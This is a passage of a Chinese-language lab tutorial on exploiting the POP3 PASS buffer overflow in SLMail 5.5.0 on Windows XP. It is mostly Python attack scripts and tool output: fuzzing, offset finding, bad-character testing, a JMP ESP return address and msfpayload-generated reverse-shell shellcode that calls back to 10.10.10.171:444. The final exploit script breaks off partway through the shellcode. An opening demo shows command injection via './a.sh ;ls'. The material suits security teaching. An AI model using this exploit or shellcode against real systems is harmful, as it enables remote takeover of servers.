缓冲区溢出之WINDOWS实例

一、程序漏洞从哪里来

罪恶的根源:变量

数据与代码边界不清

• 根源在于对输入的数据未做检查或检查机制不完善!

最简漏洞原理—— shell脚本漏洞

示例:

root@kali:~/Desktop/tests# cat a.sh 
#!/bin/bash      #指定解释器  
echo $1
root@kali:~/Desktop/tests# ./a.sh 1
1
root@kali:~/Desktop/tests# ./a.sh Hello world!
Hello
root@kali:~/Desktop/tests# ./a.sh "Hello world!"
Hello world!
root@kali:~/Desktop/tests# ./a.sh ls
ls
root@kali:~/Desktop/tests# ./a.sh ;ls    #对输入的参数未做检查直接执行了

2.jpg  a.sh  exploits  wireshark.pcapng
root@kali:~/Desktop/tests# ./a.sh ;pwd    #同上

/root/Desktop/tests

二、缓冲区溢出

当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被“撑暴”,从而覆盖了相邻内存区域的数据;

成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果

• 缓冲区溢出原理:http://www.cnblogs.com/fanzhidongyzby/archive/2013/08/10/3250405.html

如何发现漏洞?

源码审计

逆向工程

模糊测试

向程序堆栈半随机的数据,根据内存变化判断溢出

数据生成器:生成随机、半随机数据

测试工具:识别溢出漏洞

三、WINDOWS 缓冲区溢出

1、实验环境及工具

• kali 2019.3

• Windows_xp_sp3

SLMail 5.5.0 Mail Server

• 下载:https://slmail.software.informer.com/download/

ImmunityDebugger_1_85_setup.exe

• 下载:https://www.softpedia.com/get/Programming/Debuggers-Decompilers-Dissasemblers/Immunity-Debugger.shtml

• 动态调试工具,可调用python脚本,使用python2.7环境

mona.py

• 下载:https://github.com/corelan/mona

• 手册:https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/

• RegSnap

• 下载:https://www.onlinedown.net/soft/38491.htm

2、SLMail 5.5.0 Mail Server 安装

  

 

检查安装结果:

3、ImmunityDebugger_1_85_setup.exe的安装

4、mona.py安装

mona.py直接放在ImmunityDebugger_1_85_setup.exe安装路径下的PyCommands路径下(如下图)

5、环境测试:

注意:将winxp_sp3防火墙关闭或开放26(smtp一般默认为25),110(pop3)等端口方可实验!

root@kali:~/Desktop/tests# nc 10.10.10.131 26
220 test.com SMTP Server SLmail 5.5.0.4433 Ready ESMTP spoken here
hello
500 Syntax error, command unrecognized
ok
500 Syntax error, command unrecognized
quit
221 test.com Service closing transmission channel
root@kali:~/Desktop/tests# nc 10.10.10.131 110
+OK POP3 server test.com ready <00003.1081687@test.com>
USER z9m8r8
+OK z9m8r8 welcome here
PASS test
-ERR invalid password
quit
+OK POP3 server test.com signing off.

6、SLMail 5.5.0 Mail Server

• ports:25 110 139 8376

• POP3 PASS 命令存在缓冲区溢出漏洞

• 无需身份验证实现远程代码执行

• DEP:阻止代码从数据页被执行

• ASLR:随机内存地址加载执行程序和DLL,每次重启地址变化

7、FUZZING

7.0 POP3

Nc 110端口

root@kali:~/Desktop/tests# nc 10.10.10.131 110
+OK POP3 server test.com ready <00003.1081687@test.com>
USER z9m8r8
+OK z9m8r8 welcome here
PASS test
-ERR invalid password
quit
+OK POP3 server test.com signing off.

• 如何了解应用/协议能接受的固定指令

Wireshark

RFC

01.py:

#!/usr/bin/python
#-*-coding:utf-8-*-
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 
try:
   print "\nSending evil buffer..."
   s.connect(("10.10.10.131",110))
   data = s.recv(1024)               ###将110端口返回的数据显示在屏幕中
   print data
 
   s.send("USER z9m8r8"+"\r\n")
   data = s.recv(1024)
   print data
 
   s.send("PASS test\r\n")
   data = s.recv(1024)
   print data
 
   s.close()
   print "\nDone"
 
except:
   print "Could not connect to POP3!"

测试:

root@kali:~/Desktop/tests# ./01.py 

Sending evil buffer...
+OK POP3 server test.com ready <00002.960781@test.com>

+OK z9m8r8 welcome here

-ERR invalid password


Done

7.1 测试 PASS 命令接收到大量数据时是否会溢出

EIP 寄存器存放下一条指令的地址

02.py:

#!/usr/bin/python
#-*-coding:utf-8-*-
import socket
 
buffer=["A"]
counter=100
while len(buffer) <= 50:
    buffer.append("A"*counter)
    counter=counter+200
 
for string in buffer:
    print "Fuzzing PASS with %s bytes" % len(string)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect = s.connect(("10.10.10.131",110))
    s.recv(1024)
    s.send("USER z9m8r8"+"\r\n")
    s.recv(1024)
    s.send("PASS "+string+"\r\n")
    s.send("QUIT\r\n")
    s.close()

测试:

winxp_sp3状态:

 由上图知 PASS 命令接收到大量数据时会溢出,EIP 寄存器地址亦被覆盖。

7.2 确定(寻找)覆盖EIP地址的4 个字节

(1)二分法

示例:

root@kali:~/Desktop/tests# cat 03.py 
#!/usr/bin/python
#-*-coding:utf-8-*-

import socket
 
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer = 'A' * 2600
 
try:
   print "\nSending evil buffer..."
   s.connect(("10.10.10.131",110))
   data = s.recv(1024)
   s.send("USER z9m8r8"+"\r\n")
   data = s.recv(1024)
   s.send("PASS "+buffer+"\r\n")
   print "\nDone!."
except:
   print "Could not connect to POP3!"
root@kali:~/Desktop/tests# ./03.py 

Sending evil buffer...

Done!.

root@kali:~/Desktop/tests# cat 03.py 
#!/usr/bin/python
#-*-coding:utf-8-*-

import socket
 
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer = 'A' * 2700
 
try:
   print "\nSending evil buffer..."
   s.connect(("10.10.10.131",110))
   data = s.recv(1024)
   s.send("USER z9m8r8"+"\r\n")
   data = s.recv(1024)
   s.send("PASS "+buffer+"\r\n")
   print "\nDone!."
except:
   print "Could not connect to POP3!"
root@kali:~/Desktop/tests# ./03.py 

Sending evil buffer...

Done!.

推得EIP在2600~2700之间,不断用二分法即可得出EIP的精确位置!

(2)唯一字串法

生成唯一字符串(每 4 个字节都是不一样的)

root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_create.rb -l 2700
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9

将该唯一字符串赋给03.py的 buffer重新执行03.py

EIP地址"39694438"对应的ASCII码应为38 44 69 39,即"8Di9"

计算偏移量

root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_offset.rb -q 39694438 -l 2700
[*] Exact match at offset 2606

即覆盖EIP地址前面又2606个字节!

验证(04.py):

#!/usr/bin/python
#-*-coding:utf-8-*-

import socket
 
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer = 'A' * 2606+'B'*4+'C'*20
 
try:
   print "\nSending evil buffer..."
   s.connect(("10.10.10.131",110))
   data = s.recv(1024)
   s.send("USER z9m8r8"+"\r\n")
   data = s.recv(1024)
   s.send("PASS "+buffer+"\r\n")
   print "\nDone!."
except:
   print "Could not connect to POP3!"

 

7.3 攻击思路

EIP 修改为shellcode代码的内存地址,将Shellcode写入到该地址空间,程序读取EIP 寄存器数值,将跳转到 shellcode 代码段并执行;

寻找可存放shellcode的内存空间

手动修改C数值,判断内存空间大小是否能放一下shellcode,假设ESP寄存器可放3500

05.py

#!/usr/bin/python
#-*-coding:utf-8-*-
import socket
 
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer = 'A' * 2606+'B'*4+'C'*(3500-2606+4)
 
try:
   print "\nSending evil buffer..."
   s.connect(("10.10.10.131",110))
   data = s.recv(1024)
   s.send("USER z9m8r8"+"\r\n")
   data = s.recv(1024)
   s.send("PASS "+buffer+"\r\n")
   print "\nDone!."
except:
   print "Could not connect to POP3!"

  

 存放"C"内存空间的起始地址为:0167A154, 终止地址为:0167A2F4,0167A2F4-0167A154=1A0=416字节/字符。即可存放shellcode的内存空间为416字节,最小的shellcode为300字节左右,因此ESP可以放下一个shellcode。

7.4 确定坏字符

不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,这些字符有固定用途

返回地址、 Shellcodebuffer中都不能出现坏字符

null byte (0x00) 空字符,用于终止字符串的拷贝操作

return (0x0D) 回车操作,表示POP3 PASS 命令输入完成

思路:发送0x00 —— 0xff 256个字符,查找所有坏字符

06.py

#!/usr/bin/python
#-*-coding:utf-8-*-

import socket
 
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0b\x0c\x0d\x0e\x0f\x00"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x10"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x20"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x30"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\4e\x4f\x40"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x50"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x60"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x70"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x80"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\x90"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xa0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xb0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xc0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xd0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xe0"
"\xe1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xf0"
)
 
buffer = "A"*2606 + "B"*4 + badchars
 
try:
   print "\nSending evil buffer..."
   s.connect(("10.10.10.131",110))
   data = s.recv(1024)
   s.send("USER z9m8r8"+"\r\n")
   data = s.recv(1024)
   s.send("PASS "+buffer+"\r\n")
   print "\nDone!."
except:
   print "Could not connect to POP3!"

本应是0A但实际上是29,可得0A是坏字符,修改0A为某一正常字符(01~09)重新发送继续寻找坏字符。

即0D也为坏字符不出现,并缩进了一格。同理可得00也被过滤,最终结果如下图:

综上,坏字符为:0x00  0x0D 0x0A

7.5 重定向数据流

ESP 的地址替换 EIP 的值

但是 ESP 地址变化,硬编码不可行

SLMail 线程应用程序,操作系统为每个线程分配一段地址范围,每个线程地址范围不确定

变通思路

在内存中寻找地址固定的系统模块

在模块中寻找 JMP ESP 指令的地址跳转,再由该指令间接跳转到 ESP,从而执行shellcode

mona.py 脚本识别内存模块,搜索“return address”JMP ESP指令的模块

寻找无DEPALSR保护的内存地址

内存地址不包含坏字符

寻找不受保护的系统模块

!mona modules

Rebase:系统重启后模块地址是否发生变化;SafeSEH,ASLR,NXCompat都是保护机制,OS dll 是否在所有系统都运行该模块。因此,选取原则为False,False,False,False,True。

在模块中搜索 jmp esp 指令

• 由于内存中指令以二进制形式存储,所以需要将汇编指令 jmp esp 转换为二进制

root@kali:/usr/share/metasploit-framework/tools/exploit# ./nasm_shell.rb 
nasm > jmp esp
00000000  FFE4              jmp esp

!mona find -s “\xff\xe4” -m xxxx.dll

• 选择不包含坏字符的内存地址

演示:

 未找到,换下一模块!

 双击任意一个指令,在内存数据框中,右键选Disassemble切换为汇编语言显示:

 可去memory map中查看详细内容,基地址等。

   因为SLmail本身不支持DEP和ASLR等内存保护机制,所以应该任意一个指令都可以实现跳转。如果有DEP保护,必须寻找到code行Access列中有R,E两个权限(绕过DEP)。

  在该地址,通过设置断点,判断其下一步操作,验证是否能实现跳转。

重发buffer

07.py 注意:地址要翻转

#!/usr/bin/python
#-*-coding:utf-8-*-

import socket
 
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer = 'A' * 2606 + "\x8f\x35\x4a\x5f" + "C" *390
 
try:
   print "\nSending evil buffer..."
   s.connect(("10.10.10.131",110))
   data = s.recv(1024)
   s.send("USER z9m8r8"+"\r\n")
   data = s.recv(1024)
   s.send("PASS "+buffer+"\r\n")
   print "\nDone!."
except:
   print "Could not connect to POP3!"

 按F7(单步向前执行)

7.6 生成shellcode

(1)payload:

root@kali2017:/usr/share/framework2# ./msfpayload -l
Unknown option: l

   Usage: ./msfpayload <payload> [var=val] <S|C|P|R|X>

Payloads: 
  bsd_ia32_bind                     BSD IA32 Bind Shell
  bsd_ia32_bind_stg                 BSD IA32 Staged Bind Shell
  bsd_ia32_exec                     BSD IA32 Execute Command
  bsd_ia32_findrecv                 BSD IA32 Recv Tag Findsock Shell
  bsd_ia32_findrecv_stg             BSD IA32 Staged Findsock Shell
  bsd_ia32_findsock                 BSD IA32 SrcPort Findsock Shell
  bsd_ia32_reverse                  BSD IA32 Reverse Shell
  bsd_ia32_reverse_stg              BSD IA32 Staged Reverse Shell
  bsd_sparc_bind                    BSD SPARC Bind Shell
  bsd_sparc_reverse                 BSD SPARC Reverse Shell
  bsdi_ia32_bind                    BSDi IA32 Bind Shell
  bsdi_ia32_bind_stg                BSDi IA32 Staged Bind Shell
  bsdi_ia32_findsock                BSDi IA32 SrcPort Findsock Shell
  bsdi_ia32_reverse                 BSDi IA32 Reverse Shell
  bsdi_ia32_reverse_stg             BSDi IA32 Staged Reverse Shell
  cmd_generic                       Arbitrary Command
  cmd_interact                      Unix Interactive Shell
  cmd_irix_bind                     Irix Inetd Bind Shell
  cmd_localshell                    Interactive Local Shell
  cmd_sol_bind                      Solaris Inetd Bind Shell
  cmd_unix_reverse                  Unix Telnet Piping Reverse Shell
  cmd_unix_reverse_bash             Unix /dev/tcp Piping Reverse Shell
  cmd_unix_reverse_nss              Unix Spaceless Telnet Piping Reverse Shell
  generic_sparc_execve              BSD/Linux/Solaris SPARC Execute Shell
  irix_mips_execve                  Irix MIPS Execute Shell
  linux_ia32_adduser                Linux IA32 Add User
  linux_ia32_bind                   Linux IA32 Bind Shell
  linux_ia32_bind_stg               Linux IA32 Staged Bind Shell
  linux_ia32_exec                   Linux IA32 Execute Command
  linux_ia32_findrecv               Linux IA32 Recv Tag Findsock Shell
  linux_ia32_findrecv_stg           Linux IA32 Staged Findsock Shell
  linux_ia32_findsock               Linux IA32 SrcPort Findsock Shell
  linux_ia32_reverse                Linux IA32 Reverse Shell
  linux_ia32_reverse_impurity       Linux IA32 Reverse Impurity Upload/Execute
  linux_ia32_reverse_stg            Linux IA32 Staged Reverse Shell
  linux_ia32_reverse_udp            Linux IA32 Reverse UDP Shell
  linux_sparc_bind                  Linux SPARC Bind Shell
  linux_sparc_findsock              LINUX SPARC SrcPort Find Shell
  linux_sparc_reverse               Linux SPARC Reverse Shell
  osx_ia32_bind                     Mac OS X Intel Bind Shell
  osx_ppc_bind                      Mac OS X PPC Bind Shell
  osx_ppc_bind_stg                  Mac OS X PPC Staged Bind Shell
  osx_ppc_findrecv_stg              Mac OS X PPC Staged Find Recv Shell
  osx_ppc_reverse                   Mac OS X PPC Reverse Shell
  osx_ppc_reverse_nf_stg            Mac OS X PPC Staged Reverse Null-Free Shell
  osx_ppc_reverse_stg               Mac OS X PPC Staged Reverse Shell
  solaris_ia32_bind                 Solaris IA32 Bind Shell
  solaris_ia32_findsock             Solaris IA32 SrcPort Findsock Shell
  solaris_ia32_reverse              Solaris IA32 Reverse Shell
  solaris_sparc_bind                Solaris SPARC Bind Shell
  solaris_sparc_findsock            Solaris SPARC SrcPort Find Shell
  solaris_sparc_reverse             Solaris SPARC Reverse Shell
  win32_adduser                     Windows Execute net user /ADD
  win32_bind                        Windows Bind Shell
  win32_bind_dllinject              Windows Bind DLL Inject
  win32_bind_meterpreter            Windows Bind Meterpreter DLL Inject
  win32_bind_stg                    Windows Staged Bind Shell
  win32_bind_stg_upexec             Windows Staged Bind Upload/Execute
  win32_bind_vncinject              Windows Bind VNC Server DLL Inject
  win32_downloadexec                Windows Executable Download and Execute
  win32_exec                        Windows Execute Command
  win32_findrecv_ord_meterpreter    Windows Recv Tag Findsock Meterpreter
  win32_findrecv_ord_stg            Windows Recv Tag Findsock Shell
  win32_findrecv_ord_vncinject      Windows Recv Tag Findsock VNC Inject
  win32_passivex                    Windows PassiveX ActiveX Injection Payload
  win32_passivex_meterpreter        Windows PassiveX ActiveX Inject Meterpreter Payload
  win32_passivex_stg                Windows Staged PassiveX Shell
  win32_passivex_vncinject          Windows PassiveX ActiveX Inject VNC Server Payload
  win32_reverse                     Windows Reverse Shell
  win32_reverse_dllinject           Windows Reverse DLL Inject
  win32_reverse_meterpreter         Windows Reverse Meterpreter DLL Inject
  win32_reverse_ord                 Windows Staged Reverse Ordinal Shell
  win32_reverse_ord_vncinject       Windows Reverse Ordinal VNC Server Inject
  win32_reverse_stg                 Windows Staged Reverse Shell
  win32_reverse_stg_upexec          Windows Staged Reverse Upload/Execute
  win32_reverse_vncinject           Windows Reverse VNC Server Inject

备注:shellcode 的生成是单独用 kali-2017 生成的,kali-2019中的 msfvenom 使用不熟练生成的 shellcode 总是会超过 500 字节!

(2)shellcode 未处理坏字符(LHOST,LPORT均是大写)

root@kali2017:/usr/share/framework2# ./msfpayload win32_reverse LHOST=10.10.10.171 LPORT=444 C
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68"
"\x0a\x0a\x0a\xab\x66\x68\x01\xbc\x66\x53\x89\xe1\x95\x68\xec\xf9"
"\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68"
"\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3"
"\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab"
"\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51"
"\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6"
"\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6"
"\xff\x77\xfc\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0";

(3)shellcode 坏字符处理版

root@kali2017:/usr/share/framework2# ./msfpayload win32_reverse LHOST=10.10.10.171 LPORT=444 R | ./msfencode -b "\x00\x0a\x0d"    
[*] Using Msf::Encoder::PexFnstenvMov with final size of 310 bytes
"\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xab\x87\xc8".
"\x31\x83\xeb\xfc\xe2\xf4\x57\xed\x23\x7c\x43\x7e\x37\xce\x54\xe7".
"\x43\x5d\x8f\xa3\x43\x74\x97\x0c\xb4\x34\xd3\x86\x27\xba\xe4\x9f".
"\x43\x6e\x8b\x86\x23\x78\x20\xb3\x43\x30\x45\xb6\x08\xa8\x07\x03".
"\x08\x45\xac\x46\x02\x3c\xaa\x45\x23\xc5\x90\xd3\xec\x19\xde\x62".
"\x43\x6e\x8f\x86\x23\x57\x20\x8b\x83\xba\xf4\x9b\xc9\xda\xa8\xab".
"\x43\xb8\xc7\xa3\xd4\x50\x68\xb6\x13\x55\x20\xc4\xf8\xba\xeb\x8b".
"\x43\x41\xb7\x2a\x43\x71\xa3\xd9\xa0\xbf\xe5\x89\x24\x61\x54\x51".
"\xae\x62\xcd\xef\xfb\x03\xc3\xf0\xbb\x03\xf4\xd3\x37\xe1\xc3\x4c".
"\x25\xcd\x90\xd7\x37\xe7\xf4\x0e\x2d\x57\x2a\x6a\xc0\x33\xfe\xed".
"\xca\xce\x7b\xef\x11\x38\x5e\x2a\x9f\xce\x7d\xd4\x9b\x62\xf8\xc4".
"\x9b\x72\xf8\x78\x18\x59\xa1\x8d\xc2\x9a\xcd\xef\xc9\x8d\xcd\xd4".
"\x41\xd0\x3e\xef\x24\xc8\x01\xe7\x9f\xce\x7d\xed\xd8\x60\xfe\x78".
"\x18\x57\xc1\xe3\xae\x59\xc8\xea\xa2\x61\xf2\xae\x04\xb8\x4c\xed".
"\x8c\xb8\x49\xb6\x08\xc2\x01\x12\x41\xcc\x55\xc5\xe5\xcf\xe9\xab".
"\x45\x4b\x93\x2c\x63\x9a\xc3\xf5\x36\x82\xbd\x78\xbd\x19\x54\x51".
"\x93\x66\xf9\xd6\x99\x60\xc1\x86\x99\x60\xfe\xd6\x37\xe1\xc3\x2a".
"\x11\x34\x65\xd4\x37\xe7\xc1\x78\x37\x06\x54\x57\xa0\xd6\xd2\x41".
"\xb1\xce\xde\x83\x37\xe7\x54\xf0\x34\xce\x7b\xef\x38\xbb\xaf\xd8".
"\x9b\xce\x7d\x78\x18\x31";

7.7 getshell

(1)08.py

#!/usr/bin/python
#-*-coding:utf-8-*-

import socket
 
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 
shellcode =( 
"\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xab\x87\xc8"+      #"."改"+"
"\x31\x83\xeb\xfc\xe2\xf4\x57\xed\x23\x7c\x43\x7e\x37\xce\x54\xe7"+
"\x43\x5d\x8f\xa3\x43\x74\x97\x0c\xb4\x34\xd3\x86\x27\xba\xe4\x9f"+
"\x43\x6e\x8b\x86\x23\x78\x20\xb3\x43\x30\x45\xb6\x08\xa8\x07\x03"+
"\x08\x45\xac\x46\x02\x3c\xaa\x45\x23\xc5\x90\xd3\xec\x19\xde\x62"+
"\x43\x6e\x8f\x86\x23\x57\x20\x8b\x83\xba\xf4\x9b\xc9\xda\xa8\xab"+
"\x43\xb8\xc7\xa3\xd4\x50\x68\xb6\x13\x55\x20\xc4\xf8\xba\xeb\x8b"+
